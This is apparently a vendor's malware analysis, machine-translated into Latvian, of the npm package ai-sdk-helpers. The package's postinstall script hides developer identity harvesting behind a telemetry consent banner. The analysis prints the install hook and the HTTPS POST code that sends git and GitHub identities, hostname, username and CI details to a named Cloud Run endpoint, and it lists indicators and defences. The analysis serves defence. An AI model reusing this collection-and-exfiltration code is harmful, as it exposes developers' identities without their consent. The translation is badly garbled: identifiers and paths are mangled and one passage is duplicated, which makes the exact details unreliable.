ConsentMask npm pakotne Izstrādātāja identitātes ievākšanas slēpšana

ConsentMask: npm pakotne, kas nēsā telemetrijas piekrišanas reklāmkarogu izstrādātāja identitātes ievākšanas vietā

TL; DR

Viena npm pakete, ai-sdk-helpers, sevi prezentē kā Vercel AI SDK ražošanas rīku komplektu, kas piedāvā izmaksu izsekošanu, pakalpojumu sniedzēja rezerves risinājumus un straumēšanas palīgus.

Tā instalēšanas laika skripts tiek atvērts ar nopulētu informācijas atklāšanas reklāmkarogu, kurā aprakstīts anonīma diagnostika, apsolot, ka netiks pārsūtīts neviens pirmkods, žetoni vai akreditācijas dati, ievērojot DO_NOT_TRACK atteikšanās un saite uz telemetrijas politikas lapu.

Pēc tam tas pats skripts nolasa izstrādātāja git identitāti, GitHub CLI konfigurāciju, datora resursdatora nosaukumu, operētājsistēmas lietotājvārdu, darba direktoriju un CI nodrošinātāju.

Šie dati tiek POSTēti kā JSON uz Google Cloud Run galapunktu, radot skaidru neatbilstību starp norādīto telemetrijas politiku un faktiski apkopotajiem laukiem.

Pakotne tika publicēta divdesmit divās versijās viena 83 sekunžu ilga perioda laikā, un instalēšanas skripts ir baits pa baitam identisks visās atzīmētajās versijās.

Septiņas no astoņām mūsu pārskatītajām versijām pipeline ML klasifikators novērtēja kā nepārliecinošus, jo piekrišanas reklāmkaroga stils tiek interpretēts kā likumīga telemetrija.

Mēs klasificējam ai-sdk-helpers kā ļaunprātīgu, pamatojoties uz izstrādātāja identitātes apkopošanu un eksfiltrāciju instalēšanas laikā.

Smagums: augsts.

 Instalācijas anatomija

{   "scripts": {     "postinstall": "node scripts/postinstall.js"   } }

pēc instalēšanas darbojas automātiski npm instalēt, pirms jebkāda pakotnes reklamētā koda importēšanas. Skripts skripti/postinstall.js ir vieta, kur atrodas visa instalēšanas laika darbība.

Tas atveras ar komentāru bloku un izpildlaika paziņojumu, kas ierakstīts privātuma apzinīga atvērtā pirmkoda projekta reģistrā:

>Kad instalējat ai-sdk-helpers, mēs veicam ātru vides saderības pārbaudi un ziņojam par anonīmu diagnostiku… Dati ir pilnībā anonīmi — mēs apkopojam jūsu platformu, mezgla versiju un jūsu ierīces identifikatora vienvirziena jaucējkodu. Nekad netiek pārsūtīts avota kods, žetoni vai akreditācijas dati.

Tas pat pievieno darbojošos atteikšanās vārtus, kas ir pirmais izpildāmais kods failā:

if (   process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" ||   process.env.DO_NOT_TRACK === "1" ) {   process.exit(0); }

vispirms iesitot šos vārtus, pārējo var uzskatīt par konsensuālu: izstrādātājs, kurš nosaka `D_NOT_TRACK` Instalēšana tiek pabeigta klusi un pakotne ievēro konvenciju. Godātā atteikšanās ir reāla. Visiem, kas to neiestata, tā atver tālāk aprakstīto kolekciju, nevis šaurāko "platformu, mezgla versiju un vienvirziena jaucējkodu", ko nosauc paziņojums.

Zem šiem vārtiem skripts apkopo lietderīgo slodzi, kas sniedzas krietni tālāk par šo aprakstu.

  • *Gt identitāte.* ratrisinātScmIdentitāte()` galvas `~.gitconfig`,`~.config/git/config`,un pašreizējā projekta `.it/config`,parsē `[ser]` sadaļu un atgriež konfigurēto commit e-pasts. Ja neviens konfigurācijas fails neatsauc e-pastu, tiek atgriezts pie `G`.T_AUTORA_EMAIL`,`GT_COMMITTER_EMAIL`,un `EAIL` vides mainīgie. Virs funkcijas esošā dokumentācijas virkne definē lasīšanu kā veidu, kā “dedublēt instalācijas vairākās vienas un tās pašas personas datoros (piemēram, klēpjdators + CI)” — noteikts mērķis, kam nepieciešams stabils izstrādātāja identifikators, kas ir commit e-pasta piegādes.
  • *GtHub konts.* ratrisinātGitHubIdentity()` galvas `~.config/gh/hosts.yml` un `~.config/gh/hosts.yaml` konfigurācijas fails, ko GitHub CLI raksta, kad izstrādātājs veic autentifikāciju, un ar regulārās izteiksmes palīdzību izvelk `uēē:` un `eail:` laukiem. Šajā failā ir saglabāts arī GitHub OAuth marķieris; skripta regulārā izteiksme ir vērsta tieši uz lietotājvārda un e-pasta rindām un neizgūst marķieri. Tāpēc atklāšanas banera apgalvojums “žetoni nekad netiek pārsūtīti” burtiski attiecas uz šo vienu lauku, kamēr apkārtējie konta identifikatori tiek nolasīti un nosūtīti.
  • *Hun CI pirkstu nospiedums.* Tad skripts apkopo `o.resursdatora_nosaukums()`,`o.userInfo().lietotājvārds`,Node versija, platforma un arhitektūra, `pprocess.cwd()`,un CI pakalpojumu sniedzēja etiķete, kas atrisināta, pārbaudot vides mainīgos astoņiem pakalpojumu sniedzējiem (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite un diviem vispārīgiem CI karodziņiem). Pakalpojumu sniedzēju saraksts ir to vietu inventarizācija, kur skripts paredz izpildi — interaktīvas čaulas un automatizēta būvēšana. pipelines līdzīgi.

Visi šie ir sagrupēti vienā `d`.agnostiķi bject, kur izstrādātāja lauki tiek apkopoti zem `i`entītija ey un resursdatora dati zem `rntime` un cnteksts acis, pēc tam serializētas un pārsūtītas:

const req = https.request(   {     hostname: "npm-package-logger-228835561205.europe-west1.run.app",     path: "/",     method: "POST",     headers: { "Content-Type": "application/json" },     timeout: 5000,   },   () => {} );  req.on("error", () => {}); req.write(body); req.end();

Atbilde tiek atmesta, un visas kļūdas tiek ignorētas — komentārā ir norādīts, ka “telemetrija nekad nedrīkst pārtraukt instalēšanu”. Galapunkta resursdatora nosaukums kodē Google Cloud Run pakalpojumu elementā `evirves rietumi1` reģions.

Stāsts ir par atšķirību. Reklāmkarogā ir norādītas trīs datu kategorijas — platforma, mezgla versija, mašīnas identifikatora jaucējkods. Vērtīgā slodze nosūta izstrādātāja īsto git. commit e-pastu, viņu GitHub lietotājvārdu un e-pastu, viņu datora resursdatora nosaukumu un operētājsistēmas konta nosaukumu, viņu projekta ceļu un viņu CI vidi. Lauki, kas identificē *prson un viņu konti* tieši par laukiem, kas atklātībā nav iekļauti.

README fails pastiprina otrās puses ietvaru. Tā sadaļā “Telemetry” tiek atkārtots anonimitātes apgalvojums un vārds “D” tiek savienots ar tekstu “Telemetrija”._NOT_TRACK` o `cnsoledonottrack.com`,īstā kopienas lapa, kurā dokumentēta atteikšanās konvencija — aizņemoties atzītu privātuma principu standard lai paziņojums tiktu lasīts kā ierasta metode.

Timeline

Šis ir viena iepakojuma atradums ar ļoti īsu un blīvu publikācijas vēsturi. Nav izsekojama vairāku nedēļu kampaņas loka — visa versiju klāsts tika virzīts mašīnas ātrumā.

Kad (UTC) notikums
2026-06-03 20:31:20 Pirmā versija (0.1.0) publicēts npm.
2026-06-03 20:31:20 – 20:32:43 Visas 22 versijas (0.1.0 cauri 1.4.2) publicēts 83 sekunžu ilgā automatizētā sērijā.
2026-06-04 Astoņas versijas atzīmētas ar noteikšanas signāliem; manuāla analīze apstiprina identitātes apkopošanu un eksfiltrāciju instalēšanas laikā. Analīzes laikā pakotne joprojām bija aktīva npm.

83 sekunžu logs 22 semantiskajās versijās pats par sevi ir uzvedības indikators: versiju kāpnes (`01.0`,`01.1`,… `14.2`)parāda aktīvi uzturēta projekta virsmu ar izlaidumu vēsturi, kas izveidota vienā skripta izpildes reizē. Instalēšanas skripts šajā līmenī nemainās — skatīt tālāk.

Kompromisa rādītāji

Instalēšanas laika lietderīgā slodze ir identiska visā publicēto versiju diapazonā. A `dff` f`sripts/postinstall.js` starp vidu `0 versija2.1. " otrā versija `14.2. " neatgriež nekādas atšķirības; uzvedība ir viens fiksēts pirkstu nospiedums, nevis mainīga lietderīgā slodze.

tīkls

83 sekunžu logs 22 semantiskajās versijās pats par sevi ir uzvedības indikators: versiju kāpnes (`01.0`,`01.1`,… `14.2`)parāda aktīvi uzturēta projekta virsmu ar izlaidumu vēsturi, kas izveidota vienā skripta izpildes reizē. Instalēšanas skripts šajā līmenī nemainās — skatīt tālāk.

Kompromisa rādītāji

Instalēšanas laika lietderīgā slodze ir identiska visā publicēto versiju diapazonā. A `dff` f`sripts/postinstall.js` starp vidu `0 versija2.1. " otrā versija `14.2. " neatgriež nekādas atšķirības; uzvedība ir viens fiksēts pirkstu nospiedums, nevis mainīga lietderīgā slodze.

tīkls

Indikators Loma
npm-package-logger-228835561205.europe-west1.run.app Eksfiltrācijas galapunkts, kas saņem HTTPS POST pieprasījumus ar JSON vērtajām slodzēm. Mitināts pakalpojumā Google Cloud. Palaists iekšā europe-west1 Reģionā.

Mānekļu infrastruktūra

Indikators Loma
ai-sdk.guide Pakotnes sākumlapa un tiešsaistes vietne, kas atbalsta "AI SDK Guide" autora identitāti.
ai-sdk.guide/telemetry Telemetrijas politikas URL, uz kuru atsauce ir sniegta instalēšanas laika informācijas atklāšanas paziņojumā.
hello@ai-sdk.guide Autora e-pasta adrese deklarēta package.json.
github.com/ai-sdk-guide/ai-sdk-helpers Pakotnes deklarētā avota krātuve.

Faili tiek nolasīti instalēšanas laikā

  • -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git `[ser]` e-pasts
  • - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub komandrindas saskarneēr` `eail`

Uzvedības paraksti

  • – m `pstinstall` ook izsauc komplektā iekļauto Node skriptu
  • – atteikšanās vārti (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)tiek prezentēta kā privātuma funkcija pirms identitātes apkopošanas
  • – JSON objekta tbound HTTPS POST, kas satur git e-pastu, GitHub identitāti, resursdatora nosaukumu, OS lietotājvārdu, cwd un CI etiķeti
  • – identisks instalēšanas skripts ātri publicētā versiju kāpnēs

 Atribūcija un novērotā uzvedība
Mēs nepiedēvējam neko vairāk kā to, ko ieraksta pakotne un reģistra metadati.

NPM ierakstu uzturētājs ir konts `aielsimon`,ar adresi `aiel@vigilance.security`.Reģistrā šis e-pasts ir norādīts kā nepārbaudīts, un konta avota kontroles identitāte ir norādīta kā nepārbaudīta. `pckage.json`,atsevišķi, autors tiek prezentēts kā “AI SDK ceļvedis”ello@ai-sdk.guide>`”ar mājaslapu `a-sdk.guide` un avota krātuve zem `gthub.com/ai-sdk-guide` organizācija. Publicēšanas konta e-pasta domēns (`vigilance.security`).un pakotnē iekļautā autora identitāte (`a-sdk.guide`)ir dažādas domēnas.

The `a-sdk.guide` ir tiešsaistē un atbild, un `/elementometrija ath atrisinās — mānekļa identitāti atbalsta sasniedzama tīmekļa klātbūtne, nevis nedarbojoša saite, kas palielina pakotnes ietvara ticamību.

**Novērotā spēja.** Instalēšanas laikā pakotne nolasa izstrādātāja identitātes un konta konfigurācijas failus, veic resursdatora un CI vides pirkstu nospiedumu pārbaudi un nosūta rezultātu uz operatora kontrolētu galapunktu, vienlaikus parādot paziņojumu, kas apraksta šaurāku un anonimizētu datu kopu. Mēs aprakstām šo darbību; mēs neapgalvojam tās motīvu. Lasītājiem, kas novērtē pakotni, tostarp jebkurai pusei, kas atpazīst publicēšanas identitāti, ir jāizvērtē novērojamā neatbilstība starp norādītajām un faktiskajām datu plūsmām.

Ietekme, tendences un norādījumi aizstāvjiem

Kas ir pakļauts. Ikviens, kurš instalē ai-sdk-helpers — tieši vai kā tranzitīvu atkarību — palaiž kolekciju šajā datorā. Tā kā trigeris ir pēc instalēšanas, reklamētā bibliotēkas koda importēšana nekad nav nepieciešama, lai notiktu datu plūsma; pietiek ar instalēšanu vien. Visvērtīgākās vides ir izstrādātāju darbstacijas ar konfigurētu git identitāti un autentificētu GitHub CLI, kā arī CI izpildītāji, kur skripta CI nodrošinātāja noteikšana norāda, ka kolekcijai ir jādarbojas būvējuma ietvaros. pipelinegan arī klēpjdatoros.

Ko tas atmasko. Vispārīgā gadījumā tie nav lietojumprogrammu noslēpumi — lietderīgā slodze koncentrējas uz identitāteizstrādātāja commit e-pastu, viņu GitHub konta nosaukumu un e-pastu, datora un konta nosaukumus, kā arī projekta ceļu. Tas ir iepriekšējsciskarte, kurā redzams, kurš instalēja pakotni, kurā datorā, kurā repozitorijā un kurā CI sistēmā. Organizācijai daži šādi ieraksti kopā uzskaitītu, kuri inženieri un kuras būvēšanas sistēmas ir ieguvušas atkarību — noderīgi kā priekšnoteikums mērķtiecīgākām turpmākām darbībām, pat ja šīs pakotnes pašas darbība apstājas pie apkopošanas un pārsūtīšanas.

Tendence: telemetrija kā aizsegs. Likumīgi izstrādātāju rīki apkopo anonimizētu instalēšanas diagnostikas informāciju, un konvencijas par to cieņas ievērošanu — informācijas atklāšanas paziņojums, NEIZSEKOT gods, atteikšanās karodziņš, politikas URL — ir labi zināmi. ai-sdk-helpers precīzi atveido visas četras šīs konvencijas un izmanto tās kā identitātes vākšanas apvalku. Piekrišanas banera, darbojošas atteikšanās vai privātuma politikas saites klātbūtne neliecina par pakotnes uzticamību; šīs kontroles ir lētas, lai tās atdarinātu. Vienīgā uzticamā pārbaude ir tas, ko kods faktiski nolasa un kur tas faktiski tiek nosūtīts.

Šim iepakojumam ir arī izmērāma ietekme uz automatizētu atlasi. Visās versijās mūsu pipeline Pārskatot instalēšanas skripta vienkāršās valodas komentārus, strukturētos lauku nosaukumus un parasto atteikšanās vārteju, tika novērtēti kā parasta telemetrija: septiņi no astoņiem tika saņemti atpakaļ. nav pārliecinoši no ML klasifikatora, nevis ļaunprātīga. Signāls, kas atrisina neskaidrību, nav prozā — tas ir konkrētajos failos, ko skripts atver (~ / .gitconfig, ~/.config/gh/hosts.yml) un galamērķi, uz kuru tas tiek nosūtīts. Recenzents, gan automatizēts, gan cilvēks, kurš izlasa informācijas atklāšanu un apstājas pie tās, nonāks pie nepareiza secinājuma; lēmums ir jāpieņem, pamatojoties uz datu plūsmas faktiem.

Norādījumi aizstāvjiem:

  • Instalēt ar noklusējuma atspējotiem skriptiem — npm instalēšana –ignore-scriptsvai iestatīt ignorēt-skriptus=true in .npmrc un tieši palaist pārbaudītas būvēšanas darbības. Tas neitralizē pēc instalēšanas-aktivizēta iekasēšana visās jomās.
  • Neuztveriet atteikšanās vadīklas kā uzticības signālus. NEIZSEKOT Pārbaude vai saite “telemetrijas politika” neko nepasaka par datiem, ko skripts apkopo, ja vārti nav iestatīti.
  • Pirms mākslīgā intelekta ekosistēmas palīgpakotņu ieviešanas izlasiet instalēšanas instrukcijas. Vercel mākslīgā intelekta SDK telpa ir strauji mainīgs un uzticams mērķis; pēc instalēšanas kas pieskaras ~ / .gitconfig or ~/.config/gh/ ir skaidrs signāls neatkarīgi no tā, kā ir uzrakstīti apkārtējie komentāri.
  • Izejas datu uzraudzība būvēšanas laikā. Izejošais HTTPS POST laikā npm instalēt, īpaši uz tikko izveidotu mākoņfunkciju galapunktu, ir novērojams tīkla slānī un ir spēcīgs noteikšanas punkts CI vidēm.
  • Pievērsiet uzmanību saspiestu versiju kāpnēm. Pakotne, kuras visa semantiskās versijas vēsture parādās dažu sekunžu laikā ar nemainīgu instalēšanas skriptu, attēlo izgatavotu apkopes vēsturi.
sca-tools-software-composition-analysis-tools
Prioritizējiet, novērsiet un aizsargājiet savus programmatūras riskus
Iegūstiet savu bezmaksas kontu.
Nepieciešama kredītkarte.

Nodrošiniet programmatūras izstrādi un piegādi

ar Xygeni produktu komplektu